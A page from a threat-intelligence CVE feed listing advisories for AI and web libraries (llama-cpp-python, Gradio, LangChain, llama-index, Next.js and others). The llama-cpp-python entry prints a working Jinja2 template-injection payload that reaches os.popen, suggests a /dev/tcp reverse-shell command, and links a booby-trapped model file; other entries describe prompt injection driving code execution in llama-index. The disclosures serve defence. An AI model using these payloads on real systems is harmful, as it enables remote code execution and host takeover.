Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

521threats · All threats· page 18/27
Get guardrails →
2 rules

llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata

Description llama-cpp-python depends on class Llama in llama.py to load .gguf llama.cpp or Latency Machine Learning Models. The __init__ constructor built in the Llama takes several parameters to configure the loading and running of the model. Other than NUMA, LoRa settings, loading tokenizers, and hardware settings, __init__ also loads the chat template from targeted .gguf 's Metadata and furtherly parses it to llama_chat_format.Jinja2ChatFormatter.to_chat_handler() to construct the self.chat_handler for this model. Nevertheless, Jinja2ChatFormatter parse the chat template within the Metadate with sandbox-less jinja2.Environment, which is furthermore rendered in __call__ to construct the prompt of interaction. This allows jinja2 Server Side Template Injection which leads to RCE by a carefully constructed payload. Source-to-Sink llama.py -> class Llama -> __init__: ``python class Llama: """High-level Python wrapper for a llama.cpp model.""" __backend_initialized = False def __init__( self, model_path: str, # lots of params; Ignoring ): self.verbose = verbose set_verbose(verbose) if not Llama.__backend_initialized: with suppress_stdout_stderr(disable=verbose): llama_cpp.llama_backend_init() Llama.__backend_initialized = True # Ignoring lines of unrelated codes..... try: self.metadata = self._model.metadata() except Exception as e: self.metadata = {} if self.verbose: print(f"Failed to load metadata: {e}", file=sys.stderr) if self.verbose: print(f"Model metadata: {self.metadata}", file=sys.stderr) if ( self.chat_format is None and self.chat_handler is None and "tokenizer.chat_template" in self.metadata ): chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata( self.metadata ) if chat_format is not None: self.chat_format = chat_format if self.verbose: print(f"Guessed chat format: {chat_format}", file=sys.stderr) else: template = self.metadata["tokenizer.chat_template"] try: eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"]) except: eos_token_id = self.token_eos() try: bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"]) except: bos_token_id = self.token_bos() eos_token = self._model.token_get_text(eos_token_id) bos_token = self._model.token_get_text(bos_token_id) if self.verbose: print(f"Using gguf chat template: {template}", file=sys.stderr) print(f"Using chat eos_token: {eos_token}", file=sys.stderr) print(f"Using chat bos_token: {bos_token}", file=sys.stderr) self.chat_handler = llama_chat_format.Jinja2ChatFormatter( template=template, eos_token=eos_token, bos_token=bos_token, stop_token_ids=[eos_token_id], ).to_chat_handler() if self.chat_format is None and self.chat_handler is None: self.chat_format = "llama-2" if self.verbose: print(f"Using fallback chat format: {chat_format}", file=sys.stderr) ` In llama.py, llama-cpp-python defined the fundamental class for model initialization parsing (Including NUMA, LoRa settings, loading tokenizers, and stuff ). In our case, we will be focusing on the parts where it processes metadata; it first checks if chat_format and chat_handler are None and checks if the key tokenizer.chat_template exists in the metadata dictionary self.metadata. If it exists, it will try to guess the chat format from the metadata. If the guess fails, it will get the value of chat_template directly from self.metadata.self.metadata is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the chat_template is parsed into llama_chat_format.Jinja2ChatFormatter as params which furthermore stored the to_chat_handler() as chat_handler llama_chat_format.py -> Jinja2ChatFormatter: self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render( `python class ChatFormatter(Protocol): """Base Protocol for a chat formatter. A chat formatter is a function that takes a list of messages and returns a chat format response which can be used to generate a completion. The response can also include a stop token or list of stop tokens to use for the completion.""" def __call__( self, , messages: List[llama_types.ChatCompletionRequestMessage], kwargs: Any, ) -> ChatFormatterResponse: ... class Jinja2ChatFormatter(ChatFormatter): def __init__( self, template: str, eos_token: str, bos_token: str, add_generation_prompt: bool = True, stop_token_ids: Optional[List[int]] = None, ): """A chat formatter that uses jinja2 templates to format the prompt.""" self.template = template self.eos_token = eos_token self.bos_token = bos_token self.add_generation_prompt = add_generation_prompt self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) def __call__( self, , messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, *kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ` As we can see in llama_chat_format.py -> Jinja2ChatFormatter, the constructor __init__ initialized required members inside of the class; Nevertheless, focusing on this line: `python self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) ` Fun thing here: llama_cpp_python directly loads the self.template (self.template = template which is the chat template located in the Metadate that is parsed as a param) via jinja2.Environment.from_string( without setting any sandbox flag or using the protected immutablesandboxedenvironment class. This is extremely unsafe since the attacker can implicitly tell llama_cpp_python to load malicious chat template which is furthermore rendered in the __call__ constructor, allowing RCEs or Denial-of-Service since jinja2's renderer evaluates embed codes like eval(), and we can utilize expose method by exploring the attribution such as __globals__, __subclasses__ of pretty much anything. `python def __call__( self, , messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, *kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( # rendered! messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ` Exploiting For our exploitation, we first downloaded qwen1_5-0_5b-chat-q2_k.gguf of Qwen/Qwen1.5-0.5B-Chat-GGUF on huggingface as the base of the exploitation, by importing the file to Hex-compatible editors (In my case I used the built-in Hex editor or vscode), you can try to search for key chat_template (imported as template = self.metadata["tokenizer.chat_template"] in llama-cpp-python): <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png" alt="image-20240502180804562" style="zoom: 25%;" /> qwen1_5-0_5b-chat-q2_k.gguf appears to be using the OG role+message and using the fun jinja2 syntax. By first replacing the original chat_template in \x00, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression ().__class__.__base__.__subclasses__() retrieves a list of all subclasses of the basic object class and then we check if its warning by if "warning" in x.__name__, if it is , we access its module via the _module attribute then access Python's built-in functions through __builtins__ and uses the __import__ function to import the os module and finally we called os.popen to touch /tmp/retr0reg, create an empty file call retr0reg under /tmp/ `python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__'__import__'.popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %} ` in real life exploiting instance, we can change touch /tmp/retr0reg into arbitrary codes like sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1 to create a reverse shell connection to specified host, in our case we are using touch /tmp/retr0reg to showcase the exploitability of this vulnerability. <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png" alt="image-20240502200909127" style="zoom:50%;" /> After these steps, we got ourselves a malicious model with an embedded payload in chat_template of the metahead, in which will be parsed and rendered by llama.py:class Llama:init -> self.chat_handler -> llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment( -> llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render( (The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )* ``python from llama_cpp import Llama Loading locally: model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf") Or loading from huggingface: model = Llama.from_pretrained( repo_id="Retr0REG/Whats-up-gguf", filename="qwen1_5-0_5b-chat-q2_k.gguf", verbose=False ) print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}])) ` Now when the model is loaded whether as Llama.from_pretrained or Llama and chatted, our malicious code in the chat_template of the metahead` will be triggered and execute arbitrary code. PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing

Next.js Vulnerable to HTTP Request Smuggling

Impact Inconsistent interpretation of a crafted HTTP request meant that requests are treated as both a single request, and two separate requests by Next.js, leading to desynchronized responses. This led to a response queue poisoning vulnerability in the affected Next.js versions. For a request to be exploitable, the affected route also had to be making use of the rewrites feature in Next.js. Patches The vulnerability is resolved in Next.js 13.5.1 and newer. This includes Next.js 14.x. Workarounds There are no official workarounds for this vulnerability. We recommend that you upgrade to a safe version. References https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning

Gradio's Component Server does not properly consider` _is_server_fn` for functions

Component Server in Gradio before 4.13 does not properly consider _is_server_fn for functions.

python-jose denial of service via compressed JWE content

python-jose through 3.3.0 allows attackers to cause a denial of service (resource consumption) during a decode via a crafted JSON Web Encryption (JWE) token with a high compression ratio, aka a "JWT bomb." This is similar to CVE-2024-21319.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →
2 rules

python-jose algorithm confusion with OpenSSH ECDSA keys

python-jose through 3.3.0 has algorithm confusion with OpenSSH ECDSA keys and other key formats. This is similar to CVE-2022-29217.

OWASP A02OWASP Web
Get guardrail →
2 rules

langchain vulnerable to path traversal

langchain-ai/langchain is vulnerable to path traversal due to improper limitation of a pathname to a restricted directory ('Path Traversal') in its LocalFileStore functionality. An attacker can leverage this vulnerability to read or write files anywhere on the filesystem, potentially leading to information disclosure or remote code execution. The issue lies in the handling of file paths in the mset and mget methods, where user-supplied input is not adequately sanitized, allowing directory traversal sequences to reach unintended directories.

OWASP A01OWASP LLM
Get guardrail →
2 rules

llama-index-core Command Injection vulnerability

A command injection vulnerability exists in the run-llama/llama_index repository, specifically within the safe_eval function. Attackers can bypass the intended security mechanism, which checks for the presence of underscores in code generated by LLM, to execute arbitrary code. This is achieved by crafting input that does not contain an underscore but still results in the execution of OS commands. The vulnerability allows for remote code execution (RCE) on the server hosting the application.

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →

gradio vulnerable to Path Traversal

An issue was discovered in gradio-app/gradio, where the /component_server endpoint improperly allows the invocation of any method on a Component class with attacker-controlled arguments. Specifically, by exploiting the move_resource_to_block_cache() method of the Block class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it. This vulnerability enables unauthorized local file read access, posing a significant risk especially when the application is exposed to the internet via launch(share=True), thereby allowing remote attackers to read files on the host machine. Furthermore, gradio apps hosted on huggingface.co are also affected, potentially leading to the exposure of sensitive information such as API keys and credentials stored in environment variables.

2 rules

gradio Server-Side Request Forgery vulnerability

An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.

2 rules

Pydantic regular expression denial of service

Regular expression denial of service in Pydantic < 2.4.0, < 1.10.13 allows remote attackers to cause denial of service via a crafted email string.

2 rules

llama-index-core Prompt Injection vulnerability leading to Arbitrary Code Execution

A vulnerability was identified in the exec_utils class of the llama_index package, specifically within the safe_eval function, allowing for prompt injection leading to arbitrary code execution. This issue arises due to insufficient validation of input, which can be exploited to bypass method restrictions and execute unauthorized code. The vulnerability is a bypass of the previously addressed CVE-2023-39662, demonstrated through a proof of concept that creates a file on the system by exploiting the flaw.

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →

net/http, x/net/http2: close connections when receiving too many headers

An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Pillow buffer overflow vulnerability

In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy.

gradio Server-Side Request Forgery vulnerability

An SSRF vulnerability exists in the gradio-app/gradio due to insufficient validation of user-supplied URLs in the /proxy route. Attackers can exploit this vulnerability by manipulating the self.replica_urls set through the X-Direct-Url header in requests to the / and /config routes, allowing the addition of arbitrary URLs for proxying. This flaw enables unauthorized proxying of requests and potential access to internal endpoints within the Hugging Face space. The issue arises from the application's inadequate checking of safe URLs in the build_proxy_request function.

OWASP A10LLM02 · Insecure OutputOWASP LLM
Get guardrail →
2 rules

LangChain's XMLOutputParser vulnerable to XML Entity Expansion

The XMLOutputParser in LangChain uses the etree module from the XML parser in the standard python library which has some XML vulnerabilities; see: https://docs.python.org/3/library/xml.html This primarily affects users that combine an LLM (or agent) with the XMLOutputParser and expose the component via an endpoint on a web-service. This would allow a malicious party to attempt to manipulate the LLM to produce a malicious payload for the parser that would compromise the availability of the service. A successful attack is predicated on: 1. Usage of XMLOutputParser 2. Passing of malicious input into the XMLOutputParser either directly or by trying to manipulate an LLM to do so on the users behalf 3. Exposing the component via a web-service

Regular expression denial-of-service in Django

In Django 3.2 before 3.2.25, 4.2 before 4.2.11, and 5.0 before 5.0.3, the django.utils.text.Truncator.words() method (with html=True) and the truncatewords_html template filter are subject to a potential regular expression denial-of-service attack via a crafted string. NOTE: this issue exists because of an incomplete fix for CVE-2019-14232 and CVE-2023-43665.

2 rules

Gradio apps vulnerable to timing attacks to guess password

Impact This security policy is with regards to a timing attack that allows users of Gradio apps to potentially guess the password of password-protected Gradio apps. This relies on the fact that string comparisons in Python terminate early, as soon as there is a string mismatch. Because Gradio apps are, by default, not rate-limited, a user could brute-force millions of guesses to figure out the correct username and password. Patches Yes, the problem has been patched in Gradio version 4.19.2 or higher. We have no knowledge of this exploit being used against users of Gradio applications, but we encourage all users to upgrade to Gradio 4.19.2 or higher. Fixed in: https://github.com/gradio-app/gradio/commit/e329f1fd38935213fe0e73962e8cbd5d3af6e87b

Fiber has Insecure CORS Configuration, Allowing Wildcard Origin with Credentials

The CORS middleware allows for insecure configurations that could potentially expose the application to multiple CORS-related vulnerabilities. Specifically, it allows setting the Access-Control-Allow-Origin header to a wildcard ("") while also having the Access-Control-Allow-Credentials set to true, which goes against recommended security best practices. Impact The impact of this misconfiguration is high as it can lead to unauthorized access to sensitive user data and expose the system to various types of attacks listed in the PortSwigger article linked in the references. Proof of Concept The code in cors.go allows setting a wildcard in the AllowOrigins while having AllowCredentials set to true, which could lead to various vulnerabilities. Potential Solution Here is a potential solution to ensure the CORS configuration is secure: ``go func New(config ...Config) fiber.Handler { if cfg.AllowCredentials && cfg.AllowOrigins == "" { panic("[CORS] Insecure setup, 'AllowCredentials' is set to true, and 'AllowOrigins' is set to a wildcard.") } // Return new handler goes below } The middleware will not allow insecure configurations when using AllowCredentials and AllowOrigins. `` Workarounds For the meantime, users are advised to manually validate the CORS configurations in their implementation to ensure that they do not allow a wildcard origin when credentials are enabled. The browser fetch api, browsers and utilities that enforce CORS policies are not affected by this. References MDN Web Docs on CORS Errors CodeQL on CORS Misconfiguration PortSwigger on Exploiting CORS Misconfigurations WhatWG CORS protocol and credentials

OWASP A05OWASP Web
Get guardrail →

Showing 341–360 of 521 threats